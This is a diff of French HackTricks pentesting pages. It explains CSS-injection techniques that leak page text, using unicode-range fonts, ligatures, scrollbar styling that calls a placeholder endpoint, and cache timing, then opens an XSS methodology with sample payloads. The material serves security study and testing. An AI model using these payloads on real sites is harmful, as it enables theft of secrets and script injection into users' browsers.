3. **Un geste d'activation de l'utilisateur est nécessaire pour que STTF fonctionne**, donc seules les navigations qui résultent d'actions de l'utilisateur sont exploitables, ce qui réduit considérablement la possibilité d'automatiser l'attaque sans interaction de l'utilisateur. Cependant, il existe certaines conditions que l'auteur de l'article de blog ci-dessus a découvertes qui facilitent l'automatisation de l'attaque. Un autre cas similaire sera présenté dans la preuve de concept n°3.
|
||||
4. Il existe quelques **contournements** pour cela, comme **l'ingénierie sociale**, ou **forcer les extensions de navigateur courantes à interagir**.
|
||||
1. **STTF ne peut correspondre qu'à des mots ou des phrases sur une page web**, rendant théoriquement impossible la fuite de secrets ou de jetons aléatoires (à moins que nous décomposions le secret en paragraphes d'une lettre).
|
||||
2. Il est **limité aux contextes de navigation de premier niveau**, donc il ne fonctionnera pas dans un iframe, rendant l'attaque **visible pour la victime**.
|
||||
3. **Un geste d'activation de l'utilisateur est nécessaire pour que STTF fonctionne**, donc seules les navigations résultant d'actions de l'utilisateur sont exploitables, ce qui diminue grandement la possibilité d'automatiser l'attaque sans interaction de l'utilisateur. Cependant, il existe certaines conditions que l'auteur du billet de blog ci-dessus a découvertes qui facilitent l'automatisation de l'attaque. Un autre cas similaire sera présenté dans PoC#3.
|
||||
1. Il existe quelques **contournements** pour cela comme **l'ingénierie sociale**, ou **forcer les extensions de navigateur courantes à interagir**.
|
||||
|
||||
Pour plus d'informations, consultez le rapport original : [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
Vous pouvez vérifier une [**exploitation utilisant cette technique pour un CTF ici**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
Vous pouvez vérifier un [**exploit utilisant cette technique pour un CTF ici**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
Vous pouvez spécifier des **polices externes pour des valeurs unicode spécifiques** qui ne seront collectées que si ces valeurs unicode sont présentes sur la page. Par exemple :
|
||||
Vous pouvez spécifier **des polices externes pour des valeurs unicode spécifiques** qui ne seront **rassemblées que si ces valeurs unicode sont présentes** sur la page. Par exemple :
|
||||
```html
|
||||
<style>
|
||||
@font-face{
|
||||
|
@ -205,17 +207,17 @@ font-family:poc;
|
|||
|
||||
<p id="sensitive-information">AB</p>htm
|
||||
```
|
||||
Lorsque vous accédez à cette page, Chrome et Firefox récupèrent "?A" et "?B" car le nœud de texte des informations sensibles contient les caractères "A" et "B". Mais Chrome et Firefox ne récupèrent pas "?C" car il ne contient pas "C". Cela signifie que nous avons pu lire "A" et "B".
|
||||
Lorsque vous accédez à cette page, Chrome et Firefox récupèrent "?A" et "?B" car le nœud de texte de sensitive-information contient les caractères "A" et "B". Cependant, Chrome et Firefox ne récupèrent pas "?C" car il ne contient pas "C". Cela signifie que nous avons pu lire "A" et "B".
|
||||
|
||||
### Exfiltration de nœud de texte (I) : ligatures <a href="#exfiltration-de-nœud-de-texte-i-ligatures" id="exfiltration-de-nœud-de-texte-i-ligatures"></a>
|
||||
### Exfiltration de nœud de texte (I) : ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
**Référence :** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
Nous pouvons extraire le texte contenu dans un nœud avec une technique qui combine les **ligatures de police** et la **détection des changements de largeur**. L'idée principale derrière cette technique est la création de polices qui contiennent une ligature prédéfinie avec une **taille élevée** et l'utilisation des **changements de taille comme oracle**.
|
||||
Nous pouvons extraire le texte contenu dans un nœud avec une technique qui combine les **ligatures de police** et la **détection de changements de largeur**. L'idée principale derrière cette technique est la création de polices qui contiennent une ligature prédéfinie de **grande taille** et l'utilisation des **changements de taille comme oracle**.
|
||||
|
||||
Les polices peuvent être créées sous forme de polices SVG, puis converties en woff avec fontforge. En SVG, nous pouvons définir la largeur d'un glyphe via l'attribut **horiz-adv-x**, nous pouvons donc construire quelque chose comme `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, où **XY est une séquence de deux caractères**. **Si la séquence existe, elle sera rendue et la taille du texte changera**. Mais... comment pouvons-nous détecter ces changements ?
|
||||
Les polices peuvent être créées sous forme de polices SVG puis converties en woff avec fontforge. En SVG, nous pouvons définir la largeur d'un glyphe via l'attribut **horiz-adv-x**, donc nous pouvons construire quelque chose comme `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, **XY étant une séquence de deux caractères**. **Si la séquence existe, elle sera rendue et la taille du texte changera**. Mais… comment pouvons-nous détecter ces changements ?
|
||||
|
||||
Lorsque l'attribut white-space est défini comme **nowrap**, il force le texte à ne pas se rompre lorsqu'il dépasse la largeur du parent. Dans cette situation, une **barre de défilement horizontale apparaîtra**. Et nous pouvons **définir le style de cette barre de défilement**, nous pouvons donc en faire fuiter quand cela se produit **:)**.
|
||||
Lorsque l'attribut white-space est défini sur **nowrap**, cela force le texte à ne pas se casser lorsqu'il dépasse la largeur du parent. Dans cette situation, une **barre de défilement horizontale apparaîtra**. Et nous pouvons **définir le style de cette barre de défilement**, donc nous pouvons détecter quand cela se produit **:)**
|
||||
```css
|
||||
body { white-space: nowrap };
|
||||
body::-webkit-scrollbar { background: blue; }
|
||||
|
@ -223,21 +225,21 @@ body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?lea
|
|||
```
|
||||
À ce stade, l'attaque est claire :
|
||||
|
||||
1. Créer des **polices** pour la combinaison de **deux caractères avec une largeur énorme**
|
||||
1. Créer des **polices** pour la combinaison de **deux caractères de grande largeur**
|
||||
2. Détecter la **fuite via l'astuce de la barre de défilement**
|
||||
3. En utilisant la première ligature divulguée comme base, créer de **nouvelles combinaisons de 3 caractères** (en ajoutant des caractères avant / après)
|
||||
3. En utilisant la première ligature fuitée comme base, créer de **nouvelles combinaisons de 3 caractères** (en ajoutant des caractères avant/après)
|
||||
4. **Détecter** la **ligature de 3 caractères**.
|
||||
5. Répéter jusqu'à **divulguer tout le texte**
|
||||
5. Répéter jusqu'à **fuite du texte entier**
|
||||
|
||||
Nous avons encore besoin d'une méthode améliorée pour commencer l'itération car `<meta refresh=...` est suboptimal. Vous pouvez utiliser l'**astuce CSS @import pour optimiser l'exploit**.
|
||||
Nous avons encore besoin d'une méthode améliorée pour commencer l'itération car `<meta refresh=...` est sous-optimal. Vous pourriez utiliser l'**astuce CSS @import pour optimiser l'exploit**.
|
||||
|
||||
### Exfiltration du nœud de texte (II) : divulgation de l'ensemble de caractères avec une police par défaut (sans nécessiter de ressources externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Exfiltration de nœud de texte (II) : fuite du jeu de caractères avec une police par défaut (sans nécessiter d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Référence :** [PoC utilisant Comic Sans par @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
Cette astuce a été publiée dans ce [**fil de discussion Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). L'ensemble de caractères utilisé dans un nœud de texte peut être divulgué en utilisant les polices par défaut installées dans le navigateur : aucune police externe - ou personnalisée - n'est nécessaire.
|
||||
Cette astuce a été publiée dans ce [**fil de discussion Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). Le jeu de caractères utilisé dans un nœud de texte peut être fuité **en utilisant les polices par défaut** installées dans le navigateur : aucune police externe ou personnalisée n'est nécessaire.
|
||||
|
||||
La clé est d'utiliser une animation pour **agrandir la largeur de la div de 0 jusqu'à la fin du texte**, la taille d'un caractère à chaque fois. En faisant cela, nous pouvons "diviser" le texte en deux parties : un "préfixe" (la première ligne) et un "suffixe", de sorte que chaque fois que la div augmente sa largeur, un nouveau caractère passe du "suffixe" au "préfixe". Quelque chose comme :
|
||||
La clé est d'utiliser une animation pour **augmenter la largeur du div de 0 à la fin du texte**, la taille d'un caractère à chaque fois. En faisant cela, nous pouvons « diviser » le texte en deux parties : un « préfixe » (la première ligne) et un « suffixe », de sorte que chaque fois que le div augmente sa largeur, un nouveau caractère passe du « suffixe » au « préfixe ». Quelque chose comme :
|
||||
|
||||
**C**\
|
||||
ADB
|
||||
|
@ -250,11 +252,11 @@ B
|
|||
|
||||
**CADB**
|
||||
|
||||
Lorsqu'un nouveau caractère passe à la première ligne, l'**astuce de plage unicode est utilisée pour détecter le nouveau caractère dans le préfixe**. Cette détection est effectuée en changeant la police en Comic Sans, dont la hauteur est supérieure, de sorte qu'une **barre de défilement verticale est déclenchée** (divulgant la valeur du caractère). De cette manière, nous pouvons divulguer chaque caractère différent une fois. **Nous pouvons détecter si un caractère est répété, mais pas quel caractère est répété**.
|
||||
Lorsqu'un nouveau caractère passe à la première ligne, **l'astuce unicode-range est utilisée pour détecter le nouveau caractère dans le préfixe**. Cette détection se fait en changeant la police pour Comic Sans, dont la hauteur est supérieure, ce qui déclenche une **barre de défilement verticale** (fuitant la valeur du caractère). De cette façon, nous pouvons fuite chaque caractère différent une fois. **Nous pouvons détecter si un caractère est répété mais pas quel caractère est répété**.
|
||||
|
||||
{% hint style="info" %}
|
||||
Essentiellement, la **plage unicode est utilisée pour détecter un caractère**, mais comme nous ne voulons pas charger une police externe, nous devons trouver un autre moyen.\
|
||||
Lorsque le **caractère** est **trouvé**, il est **attribué** à la police **Comic Sans préinstallée**, ce qui **agrandit** le caractère et **déclenche une barre de défilement** qui **divulguera le caractère trouvé**.
|
||||
En gros, **l'unicode-range est utilisé pour détecter un caractère**, mais comme nous ne voulons pas charger une police externe, nous devons trouver une autre façon.\
|
||||
Lorsque le **caractère** est **trouvé**, il se voit **attribuer** la police **Comic Sans préinstallée**, ce qui **rend** le caractère **plus grand** et **déclenche une barre de défilement** qui **fuit le caractère trouvé**.
|
||||
{% endhint %}
|
||||
|
||||
Vérifiez le code extrait du PoC :
|
||||
|
@ -360,7 +362,7 @@ text-transform: uppercase; /* only capital letters leak */
|
|||
96% { font-family: rest; }
|
||||
}
|
||||
|
||||
/* augmenter la largeur caractère par caractère, c'est-à-dire ajouter un nouveau caractère au préfixe */
|
||||
/* increase width char by char, i.e. add new char to prefix */
|
||||
@keyframes loop {
|
||||
0% { width: 0px }
|
||||
1% { width: 20px }
|
||||
|
@ -377,22 +379,22 @@ div::-webkit-scrollbar {
|
|||
background: blue;
|
||||
}
|
||||
|
||||
/* canal secondaire */
|
||||
/* side-channel */
|
||||
div::-webkit-scrollbar:vertical {
|
||||
background: blue var(--leak);
|
||||
}
|
||||
```
|
||||
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères avec une police par défaut en masquant des éléments (sans nécessiter de ressources externes) <a href="#exfiltration-de-noeud-de-texte-ii-fuite-du-jeu-de-caracteres-avec-une-police-par-defaut" id="exfiltration-de-noeud-de-texte-ii-fuite-du-jeu-de-caracteres-avec-une-police-par-defaut"></a>
|
||||
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères avec une police par défaut en masquant des éléments (sans nécessiter d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Référence :** Cela est mentionné comme [une solution infructueuse dans cet article](https://blog.huli.tw/2022/06/14/fr/justctf-2022-writeup/#ninja1-solves)
|
||||
**Référence :** Ceci est mentionné comme [une solution infructueuse dans ce compte-rendu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Ce cas est très similaire au précédent, cependant, dans ce cas, l'objectif de rendre certains **caractères plus grands que d'autres est de masquer quelque chose** comme un bouton pour qu'il ne soit pas pressé par le bot ou une image qui ne sera pas chargée. Ainsi, nous pourrions mesurer l'action (ou l'absence d'action) et savoir si un caractère spécifique est présent dans le texte.
|
||||
Ce cas est très similaire au précédent, cependant, dans ce cas, l'objectif de rendre certains **caractères plus grands que d'autres est de masquer quelque chose** comme un bouton pour ne pas être pressé par le bot ou une image qui ne sera pas chargée. Ainsi, nous pourrions mesurer l'action (ou l'absence d'action) et savoir si un caractère spécifique est présent dans le texte.
|
||||
|
||||
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères par le temps de cache (sans nécessiter de ressources externes) <a href="#exfiltration-de-noeud-de-texte-ii-fuite-du-jeu-de-caracteres-avec-une-police-par-defaut" id="exfiltration-de-noeud-de-texte-ii-fuite-du-jeu-de-caracteres-avec-une-police-par-defaut"></a>
|
||||
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères par le timing du cache (sans nécessiter d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Référence :** Cela est mentionné comme [une solution infructueuse dans cet article](https://blog.huli.tw/2022/06/14/fr/justctf-2022-writeup/#ninja1-solves)
|
||||
**Référence :** Ceci est mentionné comme [une solution infructueuse dans ce compte-rendu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Dans ce cas, nous pourrions essayer de dévoiler si un caractère est présent dans le texte en chargeant une fausse police provenant de la même origine :
|
||||
Dans ce cas, nous pourrions essayer de détecter si un caractère est dans le texte en chargeant une fausse police depuis la même origine :
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
|
@ -400,15 +402,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
|||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
S'il y a une correspondance, la **police sera chargée depuis `/static/bootstrap.min.css?q=1`**. Bien qu'elle ne se charge pas avec succès, le **navigateur devrait la mettre en cache**, et même s'il n'y a pas de cache, il y a un mécanisme de **réponse 304 non modifiée**, donc la **réponse devrait être plus rapide** que d'autres choses.
|
||||
Si une correspondance est trouvée, la **police sera chargée depuis `/static/bootstrap.min.css?q=1`**. Bien qu'elle ne se charge pas avec succès, le **navigateur devrait la mettre en cache**, et même s'il n'y a pas de cache, il existe un mécanisme **304 not modified**, donc la **réponse devrait être plus rapide** que d'autres choses.
|
||||
|
||||
Cependant, si la différence de temps entre la réponse mise en cache et celle qui n'est pas mise en cache n'est pas suffisamment grande, cela ne sera pas utile. Par exemple, l'auteur a mentionné : Cependant, après des tests, j'ai constaté que le premier problème est que la vitesse n'est pas très différente, et le deuxième problème est que le bot utilise le drapeau `disk-cache-size=1`, ce qui est vraiment réfléchi.
|
||||
Cependant, si la différence de temps entre la réponse mise en cache et celle qui ne l'est pas n'est pas assez grande, cela ne sera pas utile. Par exemple, l'auteur a mentionné : Cependant, après avoir testé, j'ai trouvé que le premier problème est que la vitesse n'est pas très différente, et le deuxième problème est que le bot utilise le drapeau `disk-cache-size=1`, ce qui est vraiment réfléchi.
|
||||
|
||||
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères en mesurant le temps de chargement de centaines de "polices" locales (ne nécessitant pas de ressources externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères par mesure du temps de chargement de centaines de "polices" locales (sans nécessiter d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Référence :** Cela est mentionné comme [une solution infructueuse dans cet article](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Référence :** Ceci est mentionné comme [une solution infructueuse dans ce compte-rendu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Dans ce cas, vous pouvez indiquer au **CSS de charger des centaines de fausses polices** depuis la même origine lorsqu'une correspondance se produit. De cette façon, vous pouvez **mesurer le temps** que cela prend et découvrir si un caractère apparaît ou non avec quelque chose comme :
|
||||
Dans ce cas, vous pouvez indiquer au **CSS de charger des centaines de fausses polices** de la même origine lorsqu'une correspondance se produit. De cette façon, vous pouvez **mesurer le temps** que cela prend et déterminer si un caractère apparaît ou non avec quelque chose comme :
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
|
@ -419,13 +421,14 @@ url(/static/bootstrap.min.css?q=500);
|
|||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
Et le code du bot ressemble à ceci :
|
||||
Le code du bot ressemble à ceci :
|
||||
```python
|
||||
browser.get(url)
|
||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
Donc, en supposant que la police ne corresponde pas, le temps de réponse lors de la visite du bot devrait être d'environ 30 secondes. S'il y a une correspondance, une série de requêtes sera envoyée pour obtenir la police, et le réseau aura toujours quelque chose, il faudra donc plus de temps pour atteindre la condition d'arrêt et obtenir la réponse. Ainsi, le temps de réponse peut indiquer s'il y a une correspondance.
|
||||
```markdown
|
||||
Donc, en supposant que la police ne correspond pas, le temps pour obtenir la réponse lors de la visite du bot devrait être d'environ 30 secondes. S'il y a une correspondance, un grand nombre de requêtes seront envoyées pour obtenir la police, et le réseau aura toujours quelque chose, donc cela prendra plus de temps pour atteindre la condition d'arrêt et obtenir la réponse. Ainsi, le temps de réponse peut indiquer s'il y a une correspondance.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -436,12 +439,15 @@ Donc, en supposant que la police ne corresponde pas, le temps de réponse lors d
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
/<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Conseil pour les primes de bugs** : **inscrivez-vous** sur **Intigriti**, une plateforme de primes de bugs premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
**Conseil pour les primes de bugs** : **inscrivez-vous** sur **Intigriti**, une plateforme de primes de bugs premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -17,7 +17,7 @@
|
|||
2. Pouvez-vous utiliser des événements ou des attributs prenant en charge le protocole `javascript:` ?
|
||||
3. Pouvez-vous contourner les protections ?
|
||||
4. Le contenu HTML est-il interprété par un moteur JS côté client (_AngularJS_, _VueJS_, _Mavo_...) que vous pourriez exploiter via une [**Injection de Template Côté Client**](../client-side-template-injection-csti.md).
|
||||
5. Si vous ne pouvez pas créer de balises HTML exécutant du code JS, pourriez-vous exploiter une [**Injection sans script - Injection HTML de balisage suspendu**](../dangling-markup-html-scriptless-injection/) ?
|
||||
5. Si vous ne pouvez pas créer de balises HTML exécutant du code JS, pourriez-vous exploiter une [**Injection sans script - Injection HTML de balisage en suspens**](../dangling-markup-html-scriptless-injection/) ?
|
||||
2. À l'intérieur d'une **balise HTML** :
|
||||
1. Pouvez-vous sortir du contexte HTML brut ?
|
||||
2. Pouvez-vous créer de nouveaux événements/attributs pour exécuter du code JS ?
|
||||
|
@ -28,10 +28,10 @@
|
|||
2. Pouvez-vous sortir de la chaîne et exécuter un code JS différent ?
|
||||
3. Votre entrée est-elle dans des littéraux de gabarit \`\` ?
|
||||
4. Pouvez-vous contourner les protections ?
|
||||
4. **Fonction JavaScript** étant **exécutée**
|
||||
4. Fonction **JavaScript** étant **exécutée**
|
||||
1. Vous pouvez indiquer le nom de la fonction à exécuter. Ex. : `?callback=alert(1)`
|
||||
4. Si **utilisée** :
|
||||
1. Vous pourriez exploiter un **DOM XSS**, faites attention à la manière dont votre entrée est contrôlée et si votre **entrée contrôlée est utilisée par un point d'injection**.
|
||||
1. Vous pourriez exploiter un **DOM XSS**, faites attention à la manière dont votre entrée est contrôlée et si votre **entrée contrôlée est utilisée par un point d'injection.**
|
||||
|
||||
Lorsque vous travaillez sur un XSS complexe, il pourrait être intéressant de connaître :
|
||||
|
||||
|
@ -53,7 +53,7 @@ Lorsque vous essayez d'exploiter un XSS, la première chose à savoir est **où
|
|||
|
||||
### HTML brut
|
||||
|
||||
Si votre entrée est **reflétée dans le HTML brut** de la page, vous devrez abuser de certaines **balises HTML** afin d'exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
|
||||
Si votre entrée est **reflétée dans le HTML brut** de la page, vous devrez abuser d'une **balise HTML** afin d'exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
|
||||
Gardez également à l'esprit [l'Injection de Template Côté Client](../client-side-template-injection-csti.md).
|
||||
|
||||
### À l'intérieur de l'attribut d'une balise HTML
|
||||
|
@ -71,9 +71,9 @@ Dans ce cas, votre entrée est reflétée entre les balises **`<script> [...] </
|
|||
|
||||
* Si reflétée entre les balises **`<script> [...] </script>`**, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `</script>` et de vous échapper de ce contexte. Cela fonctionne parce que **le navigateur analysera d'abord les balises HTML** puis le contenu, par conséquent, il ne remarquera pas que votre balise `</script>` injectée est à l'intérieur du code HTML.
|
||||
* Si reflétée **à l'intérieur d'une chaîne JS** et que la dernière astuce ne fonctionne pas, vous devrez **sortir** de la chaîne, **exécuter** votre code et **reconstruire** le code JS (si une erreur se produit, il ne sera pas exécuté) :
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
* Si reflétée à l'intérieur de littéraux de gabarit, vous pouvez **intégrer des expressions JS** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
|
||||
* **Encoder en Unicode** fonctionne pour écrire un **code javascript valide** :
|
||||
```javascript
|
||||
|
@ -83,7 +83,7 @@ Dans ce cas, votre entrée est reflétée entre les balises **`<script> [...] </
|
|||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Le Javascript Hoisting fait référence à la possibilité de **déclarer des fonctions, des variables ou des classes après leur utilisation, ce qui permet d'exploiter des scénarios où un XSS utilise des variables ou des fonctions non déclarées.**\
|
||||
Le Javascript Hoisting fait référence à la possibilité de **déclarer des fonctions, des variables ou des classes après qu'elles soient utilisées afin de pouvoir abuser de scénarios où un XSS utilise des variables ou des fonctions non déclarées.**\
|
||||
**Consultez la page suivante pour plus d'informations :**
|
||||
|
||||
{% content-ref url="js-hoisting.md" %}
|
||||
|
@ -92,15 +92,15 @@ Le Javascript Hoisting fait référence à la possibilité de **déclarer des fo
|
|||
|
||||
### Fonction Javascript
|
||||
|
||||
Plusieurs pages web ont des points de terminaison qui **acceptent en paramètre le nom de la fonction à exécuter**. Un exemple courant que l'on peut voir est quelque chose comme : `?callback=callbackFunc`.
|
||||
Plusieurs pages web ont des points de terminaison qui **acceptent comme paramètre le nom de la fonction à exécuter**. Un exemple courant que l'on peut voir est quelque chose comme : `?callback=callbackFunc`.
|
||||
|
||||
Un bon moyen de savoir si quelque chose donné directement par l'utilisateur essaie d'être exécuté est de **modifier la valeur du paramètre** (par exemple en 'Vulnerable') et de chercher dans la console des erreurs comme :
|
||||
Un bon moyen de savoir si quelque chose donné directement par l'utilisateur essaie d'être exécuté est de **modifier la valeur du paramètre** (par exemple à 'Vulnerable') et de chercher dans la console des erreurs comme :
|
||||
|
||||
![](<../../.gitbook/assets/image (651) (2).png>)
|
||||
|
||||
Dans le cas où c'est vulnérable, vous pourriez être capable de **déclencher une alerte** juste en envoyant la valeur : **`?callback=alert(1)`**. Cependant, il est très courant que ces points de terminaison **valident le contenu** pour n'autoriser que les lettres, les chiffres, les points et les tirets bas (**`[\w\._]`**).
|
||||
|
||||
Cependant, même avec cette limitation, il est encore possible de réaliser certaines actions. Cela est dû au fait que vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément dans le DOM** :
|
||||
Cependant, même avec cette limitation, il est toujours possible de réaliser certaines actions. Cela est dû au fait que vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément dans le DOM** :
|
||||
|
||||
![](<../../.gitbook/assets/image (662).png>)
|
||||
|
||||
|
@ -132,7 +132,7 @@ Il y a du **code JS** qui utilise **de manière non sécurisée** certaines **do
|
|||
|
||||
### **Universal XSS**
|
||||
|
||||
Ce type de XSS peut être trouvé **partout**. Ils ne dépendent pas seulement de l'exploitation client d'une application web mais de **tout** **contexte**. Ce type d'**exécution arbitraire de JavaScript** peut même être abusé pour obtenir un **RCE**, **lire** **des fichiers arbitraires** sur les clients et les serveurs, et plus encore.\
|
||||
Ce type de XSS peut être trouvé **partout**. Ils ne dépendent pas seulement de l'exploitation client d'une application web mais de **tout** **contexte**. Ce type d'**exécution arbitraire de JavaScript** peut même être abusé pour obtenir **RCE**, **lire** **des fichiers arbitraires** sur les clients et les serveurs, et plus encore.\
|
||||
Quelques **exemples** :
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -143,7 +143,7 @@ Quelques **exemples** :
|
|||
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Contournement de WAF en encodant l'image
|
||||
## Contournement de WAF avec encodage d'image
|
||||
|
||||
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg)
|
||||
|
||||
|
@ -159,20 +159,20 @@ Dans ce cas et si aucune liste noire/blanche n'est utilisée, vous pourriez util
|
|||
<img src=x onerror=alert(1) />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Mais, si un système de liste noire/blanche de balises/attributs est utilisé, vous devrez **forcer la découverte des balises** que vous pouvez créer.\
|
||||
Une fois que vous avez **identifié les balises autorisées**, vous devrez **forcer la découverte des attributs/événements** à l'intérieur des balises valides trouvées pour voir comment vous pouvez attaquer le contexte.
|
||||
